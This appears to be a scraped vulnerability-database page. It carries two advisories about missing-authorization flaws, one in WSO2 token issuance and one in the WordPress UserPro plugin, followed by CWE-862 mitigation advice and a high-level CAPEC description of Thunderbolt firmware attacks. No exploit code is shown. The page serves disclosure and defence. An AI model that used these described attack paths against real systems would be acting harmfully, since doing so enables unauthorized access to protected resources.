Vulnerability from github – Published: 2026-11-03 09:31 – Updated: 2026-11-03 09:31When utilizing JWT Bearer or SAML2 Bearer grant types, the system fails to validate the status of the Identity Provider (IDP) before issuing access tokens. This oversight permits tokens to be generated even when the associated IDP has been disabled.
A malicious actor could leverage this vulnerability to obtain access tokens by targeting a disabled IDP. This could enable them to bypass intended security controls and potentially access protected resources that should be inaccessible due to the IDP's disabled state.
{
"affected": [],
"aliases": [
"CVE-2025-1397"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-03T07:17:19Z",
"severity": "MODERATE"
},
"details": "When utilizing JWT Bearer or SAML2 Bearer grant types, the system fails to validate the status of the Identity Provider (IDP) before issuing access tokens. This oversight permits tokens to be generated even when the associated IDP has been disabled.\n\nA malicious actor could leverage this vulnerability to obtain access tokens by targeting a disabled IDP. This could enable them to bypass intended security controls and potentially access protected resources that should be inaccessible due to the IDP\u0027s disabled state.",
"id": "GHSA-7h45-367c-v4hm",
"modified": "2026-11-03T09:31:41Z",
"published": "2026-11-03T09:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1397"
},
{
"type": "WEB",
"url": "https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2026/WSO2-2025-4010"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7H5H-QG5P-JJPF
Vulnerability from github – Published: 2023-11-22 18:30 – Updated: 2023-11-22 18:30The UserPro plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'userpro_shortcode_template' function in versions up to, and including, 5.1.4. This makes it possible for unauthenticated attackers to arbitrary shortcode execution. An attacker can leverage CVE-2023-2446 to get sensitive information via shortcode.
{
"affected": [],
"aliases": [
"CVE-2023-2448"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-22T16:15:08Z",
"severity": "MODERATE"
},
"details": "The UserPro plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the \u0027userpro_shortcode_template\u0027 function in versions up to, and including, 5.1.4. This makes it possible for unauthenticated attackers to arbitrary shortcode execution. An attacker can leverage CVE-2023-2446 to get sensitive information via shortcode.",
"id": "GHSA-7h5h-qg5p-jjpf",
"modified": "2023-11-22T18:30:55Z",
"published": "2023-11-22T18:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2448"
},
{
"type": "WEB",
"url": "https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7cbe9175-4a6f-4eb6-8d31-9a9fda9b4f40?source=cve"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/175871/WordPress-UserPro-5.1.x-Password-Reset-Authentication-Bypass-Escalation.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.